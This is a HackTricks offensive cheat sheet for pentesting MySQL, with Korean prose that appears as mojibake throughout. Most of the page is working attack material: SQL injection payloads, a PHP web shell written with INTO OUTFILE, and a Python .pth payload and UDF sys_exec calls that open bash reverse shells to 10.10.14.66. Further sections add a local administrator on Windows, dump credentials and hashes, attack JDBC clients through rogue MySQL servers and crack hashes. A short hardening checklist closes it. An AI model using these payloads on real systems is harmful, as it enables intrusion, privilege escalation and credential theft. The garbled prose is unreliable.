3306 - Pentesting Mysql
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
MySQL์ ๋ฌด๋ฃ๋ก ์ ๊ณต๋๋ ์คํ ์์ค **Relational Database Management System (RDBMS)**๋ก ์ค๋ช ๋ ์ ์์ต๋๋ค. ์ด๋ **Structured Query Language (SQL)**์ ๊ธฐ๋ฐ์ผ๋ก ์๋ํ๋ฉฐ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๊ด๋ฆฌ ๋ฐ ์กฐ์์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
๊ธฐ๋ณธ ํฌํธ: 3306
3306/tcp open mysql
์ฐ๊ฒฐ
๋ก์ปฌ
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
์๊ฒฉ
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
์ธ๋ถ Enumeration
์ผ๋ถ enumeration ์์ ์ valid credentials๊ฐ ํ์ํฉ๋๋ค
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
Brute force
์์์ ๋ฐ์ด๋๋ฆฌ ๋ฐ์ดํฐ ์ฐ๊ธฐ
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
MySQL ๋ช ๋ น์ด
show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;
select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name
#Get a shell with the mysql client user
\! sh
#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"
#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'
#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'
MySQL ๊ถํ ์ด๊ฑฐ
#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();
# Get users, permissions & hashes
SELECT * FROM mysql.user;
#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';
# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
You can see in the docs the meaning of each privilege: https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html
MySQL File RCE
INTO OUTFILE โ Python .pth RCE (์ฌ์ดํธ๋ณ ๊ตฌ์ฑ ํ
)
๊ณ ์ ์ ์ธ INTO OUTFILE ์์ ๊ธฐ๋ฅ์ ์
์ฉํ๋ฉด ์ดํ์ Python ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ๋ ๋์์์ ์์ ์ฝ๋ ์คํ์ ์ป์ ์ ์์ต๋๋ค.
INTO OUTFILE์ ์ฌ์ฉํดsite.py์ ์ํด ์๋์ผ๋ก ๋ก๋๋๋ ๋๋ ํฐ๋ฆฌ(์:.../lib/python3.10/site-packages/) ์์ ์ปค์คํ .pthํ์ผ์ ์์ฑํฉ๋๋ค..pthํ์ผ์import๋ก ์์ํ๋ ๋จ ํ ์ค์ ํฌํจํ ์ ์์ผ๋ฉฐ, ๊ทธ ๋ค์ ์ค๋ ์์์ Python ์ฝ๋๊ฐ ์ธํฐํ๋ฆฌํฐ๊ฐ ์์๋ ๋๋ง๋ค ์คํ๋ฉ๋๋ค.- ์ธํฐํ๋ฆฌํฐ๊ฐ CGI ์คํฌ๋ฆฝํธ(์: shebang์ด
#!/bin/python์ธ/cgi-bin/ml-draw.py)์ ์ํด ์๋ฌต์ ์ผ๋ก ์คํ๋ ๋, ํ์ด๋ก๋๋ ์น ์๋ฒ ํ๋ก์ธ์ค์ ๋์ผํ ๊ถํ์ผ๋ก ์คํ๋ฉ๋๋ค(FortiWeb๋ ์ด๋ฅผ root๋ก ์คํํจ โ ์ฌ์ ์ธ์ฆ ์ ์ฒด RCE).
์์ .pth ํ์ด๋ก๋(ํ ์ค, ์ต์ข
SQL ํ์ด๋ก๋์๋ ๊ณต๋ฐฑ์ ํฌํจํ ์ ์์ผ๋ฏ๋ก hex/UNHEX() ๋๋ ๋ฌธ์์ด ์ฐ๊ฒฐ์ด ํ์ํ ์ ์์):
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
ํ์ผ์ UNION ์ฟผ๋ฆฌ๋ก ์์ฑํ๋ ์ (๊ณต๋ฐฑ ๋ฌธ์๋ฅผ /**/๋ก ๋์ฒดํ์ฌ sscanf("%128s")์ ๊ณต๋ฐฑ ํํฐ๋ฅผ ์ฐํํ๊ณ ์ ์ฒด ๊ธธ์ด๋ฅผ โค128 ๋ฐ์ดํธ๋ก ์ ์ง):
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
์ค์ํ ์ ํ์ฌํญ ๋ฐ ์ฐํ ๋ฐฉ๋ฒ:
INTO OUTFILE๋ฎ์ด์ธ ์ ์์ต๋๋ค; ์ ํ์ผ๋ช ์ ์ ํํ์ธ์.- ํ์ผ ๊ฒฝ๋ก๋ MySQLโs CWD ๊ธฐ์ค์ผ๋ก ํด์๋๋ฏ๋ก,
../../๋ฅผ ์ ๋์ฌ๋ก ์ฌ์ฉํ๋ฉด ๊ฒฝ๋ก๋ฅผ ๋จ์ถํ๊ณ ์ ๋ ๊ฒฝ๋ก ์ ํ์ ์ฐํํ๋ ๋ฐ ๋์์ด ๋ฉ๋๋ค. - ๊ณต๊ฒฉ์ ์
๋ ฅ์ด
%128s(๋๋ ์ ์ฌํ ํ์)๋ก ์ถ์ถ๋๋ ๊ฒฝ์ฐ, ๊ณต๋ฐฑ์ด ์์ผ๋ฉด ํ์ด๋ก๋๊ฐ ์๋ฆฝ๋๋ค; ๊ณต๋ฐฑ ๋์ MySQL ์ฃผ์ ์ํ์ค/**/๋๋/*!*/๋ฅผ ์ฌ์ฉํ์ธ์. - ์ฟผ๋ฆฌ๋ฅผ ์คํํ๋ MySQL ์ฌ์ฉ์๋
FILE๊ถํ์ด ํ์ํ์ง๋ง, ๋ง์ ์ดํ๋ผ์ด์ธ์ค(์: FortiWeb)์์๋ ์๋น์ค๊ฐ root๋ก ์คํ๋์ด ๊ฑฐ์ ๋ชจ๋ ๊ณณ์ ์ฐ๊ธฐ ๊ถํ์ ์ ๊ณตํฉ๋๋ค.
.pth์ ๋ฐฐ์นํ ํ, python ์ธํฐํ๋ฆฌํฐ๊ฐ ์ฒ๋ฆฌํ๋ ์์์ CGI๋ฅผ ์์ฒญํ๋ฉด ์ฝ๋ ์คํ์ ์ป์ ์ ์์ต๋๋ค:
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
Python ํ๋ก์ธ์ค๋ ์
์ฑ .pth๋ฅผ ์๋์ผ๋ก importํ์ฌ shell payload๋ฅผ ์คํํฉ๋๋ค.
# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)
MySQL arbitrary read file by client
์ค์ ๋ก load data local into a table๋ฅผ ์ฌ์ฉํด ํ
์ด๋ธ๋ก ํ์ผ์ ๋ก๋ํ๋ ค๊ณ ํ๋ฉด, MySQL ๋๋ MariaDB ์๋ฒ๋ ํด๋น content of a file์ client to read itํ์ฌ ๊ทธ ๋ด์ฉ์ ์ ์กํ๋๋ก ์์ฒญํฉ๋๋ค. ๊ทธ๋ฐ ๋ค์, mysql client๋ฅผ ์กฐ์ํด ์์ ์ MySQL server์ ์ฐ๊ฒฐ์ํค๋ฉด arbitrary files๋ฅผ ์ฝ์ ์ ์์ต๋๋ค.
๋ค์์ ๊ฒฝ์ฐ์ ์ด๋ฌํ ๋์์ด ๋ฐ์ํจ์ ์ ์ํ์ธ์:
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
(โlocalโ ๋จ์ด์ ์ฃผ๋ชฉํ์ธ์)\ โlocalโ์ ๋นผ๋ฉด ๋ค์์ ์ป์ ์ ์์ต๋๋ค:
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
์ด๊ธฐ PoC: https://github.com/allyshka/Rogue-MySql-Server
์ด ๋
ผ๋ฌธ์์๋ ๊ณต๊ฒฉ์ ๋ํ ์์ ํ ์ค๋ช
๊ณผ ์ด๋ฅผ RCE๋ก ํ์ฅํ๋ ๋ฐฉ๋ฒ๊น์ง ํ์ธํ ์ ์์ต๋๋ค: https://paper.seebug.org/1113/
์ฌ๊ธฐ์์ ๊ณต๊ฒฉ ๊ฐ์๋ฅผ ํ์ธํ ์ ์์ต๋๋ค: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/
POST
Mysql ์ฌ์ฉ์
mysql์ด root๋ก ์คํ ์ค์ด๋ผ๋ฉด ๋งค์ฐ ํฅ๋ฏธ๋กญ์ต๋๋ค:
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
mysqld.cnf์ ์ํํ ์ค์
MySQL ์๋น์ค ๊ตฌ์ฑ์์๋ ๋์๊ณผ ๋ณด์ ์กฐ์น๋ฅผ ์ ์ํ๊ธฐ ์ํด ์ฌ๋ฌ ์ค์ ์ด ์ฌ์ฉ๋ฉ๋๋ค:
user์ค์ ์ MySQL ์๋น์ค๊ฐ ์คํ๋ ๋ ์ฌ์ฉํ ์ฌ์ฉ์ ๊ณ์ ์ ์ง์ ํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค.password์ค์ ์ MySQL ์ฌ์ฉ์์ ์ฐ๊ฒฐ๋ ๋น๋ฐ๋ฒํธ๋ฅผ ์ค์ ํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค.- **
admin_address**๋ ๊ด๋ฆฌ ๋คํธ์ํฌ ์ธํฐํ์ด์ค์์ TCP/IP ์ฐ๊ฒฐ์ ์์ ํ๋ IP ์ฃผ์๋ฅผ ์ง์ ํฉ๋๋ค. debug๋ณ์๋ ํ์ฌ์ ๋๋ฒ๊น ๊ตฌ์ฑ(๋ก๊ทธ์ ๋ฏผ๊ฐํ ์ ๋ณด๋ฅผ ํฌํจํ ์ ์์)์ ๋ํ๋ ๋๋ค.- **
sql_warnings**๋ ๊ฒฝ๊ณ ๋ฐ์ ์ ๋จ์ผ ํ INSERT ๋ฌธ์ ๋ํด ์ ๋ณด ๋ฌธ์์ด์ด ์์ฑ๋๋์ง ์ฌ๋ถ๋ฅผ ์ ์ดํ๋ฉฐ, ์ด ์ ๋ณด๋ ๋ก๊ทธ์ ๋ฏผ๊ฐํ ๋ฐ์ดํฐ๋ฅผ ํฌํจํ ์ ์์ต๋๋ค. - **
secure_file_priv**๋ ๋ฐ์ดํฐ ๊ฐ์ ธ์ค๊ธฐ/๋ด๋ณด๋ด๊ธฐ ์์ ์ ๋ฒ์๋ฅผ ์ ํํ์ฌ ๋ณด์์ ๊ฐํํฉ๋๋ค.
Privilege escalation
# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;
# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"
# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh
Privilege Escalation via library
๋ง์ฝ mysql server is running as root (๋๋ ๋ ๊ถํ์ด ๋์ ๋ค๋ฅธ ์ฌ์ฉ์)๋ผ๋ฉด ๋ช ๋ น์ ์คํ์ํฌ ์ ์์ต๋๋ค. ์ด๋ฅผ ์ํด์๋ user defined functions๋ฅผ ์ฌ์ฉํด์ผ ํฉ๋๋ค. ๊ทธ๋ฆฌ๊ณ user defined ํจ์๋ฅผ ์์ฑํ๋ ค๋ฉด mysql์ด ์คํ ์ค์ธ OS์ฉ library๊ฐ ํ์ํฉ๋๋ค.
์ฌ์ฉํ ์
์ฑ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ sqlmap๊ณผ metasploit ๋ด๋ถ์์ locate "*lib_mysqludf_sys*" ๋ช
๋ น์ผ๋ก ์ฐพ์ ์ ์์ต๋๋ค. .so ํ์ผ์ linux ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ด๊ณ .dll ํ์ผ์ Windows ๋ผ์ด๋ธ๋ฌ๋ฆฌ์
๋๋ค. ํ์ํ ๊ฒ์ ์ ํํ์ธ์.
ํด๋น ๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ ์๋ค๋ฉด, ์ง์ ์ฐพ์๋ณด๊ฑฐ๋ ์ด linux C code๋ฅผ ๋ค์ด๋ก๋ํ์ฌ compile it inside the linux vulnerable machine ํ์ธ์:
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ํ๋ณดํ์ผ๋, ๊ถํ์ด ์๋ ์ฌ์ฉ์(root?)๋ก Mysql์ ๋ก๊ทธ์ธํ๊ณ ๋ค์ ๋จ๊ณ๋ฅผ ๋ฐ๋ฅด์ธ์:
Linux
# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
์๋์ฐ
# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
Windows ํ: SQL์์ NTFS ADS๋ก ๋๋ ํฐ๋ฆฌ ์์ฑ
NTFS์์๋ ํ์ผ write primitive๋ง ์กด์ฌํ๋ ๊ฒฝ์ฐ์๋ alternate data stream์ ์ฌ์ฉํด ๋๋ ํฐ๋ฆฌ ์์ฑ์ ๊ฐ์ ํ ์ ์์ต๋๋ค. ๋ง์ฝ classic UDF chain์ด plugin ๋๋ ํฐ๋ฆฌ๋ฅผ ๊ธฐ๋ํ์ง๋ง ํด๋น ๋๋ ํฐ๋ฆฌ๊ฐ ์กด์ฌํ์ง ์๊ฑฐ๋ @@plugin_dir๊ฐ ์๋ ค์ ธ ์์ง ์๊ฑฐ๋ ์ ๊ฒจ ์๋ค๋ฉด, ๋จผ์ ::$INDEX_ALLOCATION๋ก ์์ฑํ ์ ์์ต๋๋ค:
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
์ด๊ฒ์ UDF drops์ ํ์ํ ํด๋ ๊ตฌ์กฐ๋ฅผ ๋ถํธ์คํธ๋ฉํ์ฌ Windows stacks์์ ์ ํ๋ SELECT ... INTO OUTFILE๋ฅผ ๋ณด๋ค ์์ ํ primitive๋ก ๋ง๋ญ๋๋ค.
ํ์ผ์์ MySQL ์๊ฒฉ ์ฆ๋ช ์ถ์ถ
ํ์ผ /etc/mysql/debian.cnf ์์์ ์ฌ์ฉ์ debian-sys-maint์ ํ๋ฌธ ๋น๋ฐ๋ฒํธ๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค.
cat /etc/mysql/debian.cnf
์ด ์๊ฒฉ์ฆ๋ช ์ ์ฌ์ฉํด mysql ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋ก๊ทธ์ธํ ์ ์์ต๋๋ค.
ํ์ผ: /var/lib/mysql/mysql/user.MYD ์์์ MySQL ์ฌ์ฉ์์ ๋ชจ๋ ํด์ (๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ด์ mysql.user์์ ์ถ์ถํ ์ ์๋ ๊ฒ๋ค).
๋ค์๊ณผ ๊ฐ์ด ์ถ์ถํ ์ ์์ต๋๋ค:
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
๋ก๊น ํ์ฑํ
๋ค์ ์ค์ ์ฃผ์์ ํด์ ํ์ฌ /etc/mysql/my.cnf ๋ด๋ถ์์ mysql ์ฟผ๋ฆฌ ๋ก๊น
์ ํ์ฑํํ ์ ์์ต๋๋ค:
.png)
์ ์ฉํ ํ์ผ
๊ตฌ์ฑ ํ์ผ
- windows *
- config.ini
- my.ini
- windows\my.ini
- winnt\my.ini
- <InstDir>/mysql/data/
- unix
- my.cnf
- /etc/my.cnf
- /etc/mysql/my.cnf
- /var/lib/mysql/my.cnf
- ~/.my.cnf
- /etc/my.cnf
- Command History
- ~/.mysql.history
- Log Files
- connections.log
- update.log
- common.log
๊ธฐ๋ณธ MySQL ๋ฐ์ดํฐ๋ฒ ์ด์ค/ํ ์ด๋ธ
ALL_PLUGINS
APPLICABLE_ROLES
CHARACTER_SETS
CHECK_CONSTRAINTS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENABLED_ROLES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
KEY_CACHES
OPTIMIZER_TRACE
PARAMETERS
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
SYSTEM_VARIABLES
TABLES
TABLESPACES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
INNODB_LOCKS
INNODB_TRX
INNODB_SYS_DATAFILES
INNODB_FT_CONFIG
INNODB_SYS_VIRTUAL
INNODB_CMP
INNODB_FT_BEING_DELETED
INNODB_CMP_RESET
INNODB_CMP_PER_INDEX
INNODB_CMPMEM_RESET
INNODB_FT_DELETED
INNODB_BUFFER_PAGE_LRU
INNODB_LOCK_WAITS
INNODB_TEMP_TABLE_INFO
INNODB_SYS_INDEXES
INNODB_SYS_TABLES
INNODB_SYS_FIELDS
INNODB_CMP_PER_INDEX_RESET
INNODB_BUFFER_PAGE
INNODB_FT_DEFAULT_STOPWORD
INNODB_FT_INDEX_TABLE
INNODB_FT_INDEX_CACHE
INNODB_SYS_TABLESPACES
INNODB_METRICS
INNODB_SYS_FOREIGN_COLS
INNODB_CMPMEM
INNODB_BUFFER_POOL_STATS
INNODB_SYS_COLUMNS
INNODB_SYS_FOREIGN
INNODB_SYS_TABLESTATS
GEOMETRY_COLUMNS
SPATIAL_REF_SYS
CLIENT_STATISTICS
INDEX_STATISTICS
USER_STATISTICS
INNODB_MUTEXES
TABLE_STATISTICS
INNODB_TABLESPACES_ENCRYPTION
user_variables
INNODB_TABLESPACES_SCRUBBING
INNODB_SYS_SEMAPHORE_WAITS
HackTricks ์๋ ๋ช ๋ น์ด
Protocol_Name: MySql #Protocol Abbreviation if there is one.
Port_Number: 3306 #Comma separated if there is more than one.
Protocol_Description: MySql #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html
Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306
Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost
Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
2023-2025 ์ฃผ์ ๋ด์ฉ (์ ๊ท)
JDBC propertiesTransform deserialization (CVE-2023-21971)
Connector/J <= 8.0.32๋ถํฐ, JDBC URL์ ์ํฅ์ ์ค ์ ์๋ ๊ณต๊ฒฉ์(์: ์ฐ๊ฒฐ ๋ฌธ์์ด์ ์๊ตฌํ๋ ์๋ํํฐ ์ํํธ์จ์ด)๋ propertiesTransform ๋งค๊ฐ๋ณ์๋ฅผ ํตํด client ์ธก์์ ์์์ ํด๋์ค๋ฅผ ๋ก๋ํ๋๋ก ์์ฒญํ ์ ์์ต๋๋ค. ๋ง์ฝ class-path์ ์กด์ฌํ๋ gadget์ด ๋ก๋ ๊ฐ๋ฅํ๋ฉด, ์ด๋ remote code execution in the context of the JDBC client (pre-auth, ์ ํจํ ์๊ฒฉ ์ฆ๋ช
์ด ํ์ํ์ง ์์)๋ฅผ ์ด๋ํฉ๋๋ค. ์ต์ํ์ PoC๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
Running Evil.class can be as easy as producing it on the class-path of the vulnerable application or letting a rogue MySQL server send a malicious serialized object. The issue was fixed in Connector/J 8.0.33 โ upgrade the driver or explicitly set propertiesTransform on an allow-list.
(์์ธํ ๋ด์ฉ์ Snyk write-up ์ฐธ์กฐ)
JDBC ํด๋ผ์ด์ธํธ๋ฅผ ๋์์ผ๋ก ํ Rogue / Fake MySQL ์๋ฒ ๊ณต๊ฒฉ
Several open-source tools implement a partial MySQL protocol in order to attack JDBC clients that connect outwards:
- mysql-fake-server (Java, ํ์ผ ์ฝ๊ธฐ ๋ฐ deserialization ์ต์คํ๋ก์ ์ง์)
- rogue_mysql_server (Python, ์ ์ฌ ๊ธฐ๋ฅ)
Typical attack paths:
- Victim application loads
mysql-connector-jwithallowLoadLocalInfile=trueorautoDeserialize=true. - Attacker controls DNS / host entry so that the hostname of the DB resolves to a machine under their control.
- Malicious server responds with crafted packets that trigger either
LOCAL INFILEarbitrary file read or Java deserialization โ RCE.
Example one-liner to start a fake server (Java):
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
๊ทธ๋ฐ ๋ค์ ํผํด์ ์ ํ๋ฆฌ์ผ์ด์
์ jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true๋ก ๊ฐ๋ฆฌํค๊ณ , username ํ๋์ ํ์ผ๋ช
์ base64๋ก ์ธ์ฝ๋ฉํ์ฌ /etc/passwd๋ฅผ ์ฝ์ต๋๋ค (fileread_/etc/passwd โ base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=).
caching_sha2_password ํด์ ํฌ๋ํน
MySQL โฅ 8.0์ ๋น๋ฐ๋ฒํธ ํด์๋ฅผ $mysql-sha2$ (SHA-256) ํ์์ผ๋ก ์ ์ฅํฉ๋๋ค. Hashcat(๋ชจ๋ 21100)๊ณผ John-the-Ripper (--format=mysql-sha2)๋ 2023๋
๋ถํฐ ์คํ๋ผ์ธ ํฌ๋ํน์ ์ง์ํฉ๋๋ค. authentication_string ์ด์ ๋คํํ์ฌ ๋ฐ๋ก ์
๋ ฅํ์ธ์:
# extract hashes
echo "$mysql-sha2$AABBCCโฆ" > hashes.txt
# Hashcat
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
ํ๋๋ ์ฒดํฌ๋ฆฌ์คํธ (2025)
โข ๋๋ถ๋ถ์ ํ์ผ ์ฝ๊ธฐ/์ฐ๊ธฐ ์์ ๊ธฐ๋ฅ์ ์ฐจ๋จํ๋ ค๋ฉด LOCAL_INFILE=0 ๋ฐ --secure-file-priv=/var/empty ๋ฅผ ์ค์ ํ์ธ์.
โข ์ ํ๋ฆฌ์ผ์ด์
๊ณ์ ์์ FILE ๊ถํ์ ์ ๊ฑฐํ์ธ์.
โข Connector/J์์๋ allowLoadLocalInfile=false, allowUrlInLocalInfile=false, autoDeserialize=false, propertiesTransform= (๋น ๊ฐ)์ ์ค์ ํ์ธ์.
โข ์ฌ์ฉํ์ง ์๋ ์ธ์ฆ ํ๋ฌ๊ทธ์ธ์ ๋นํ์ฑํํ๊ณ require TLS๋ฅผ ์ ์ฉํ์ธ์ (require_secure_transport = ON).
โข CREATE FUNCTION, INSTALL COMPONENT, INTO OUTFILE, LOAD DATA LOCAL ๋ฐ ๊ฐ์์ค๋ฌ์ด SET GLOBAL ๋ช
๋ น์ ๋ชจ๋ํฐ๋งํ์ธ์.
์ฐธ๊ณ ์๋ฃ
-
Oracle MySQL Connector/J propertiesTransform RCE โ CVE-2023-21971 (Snyk)
-
mysql-fake-server โ Rogue MySQL server for JDBC client attacks
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


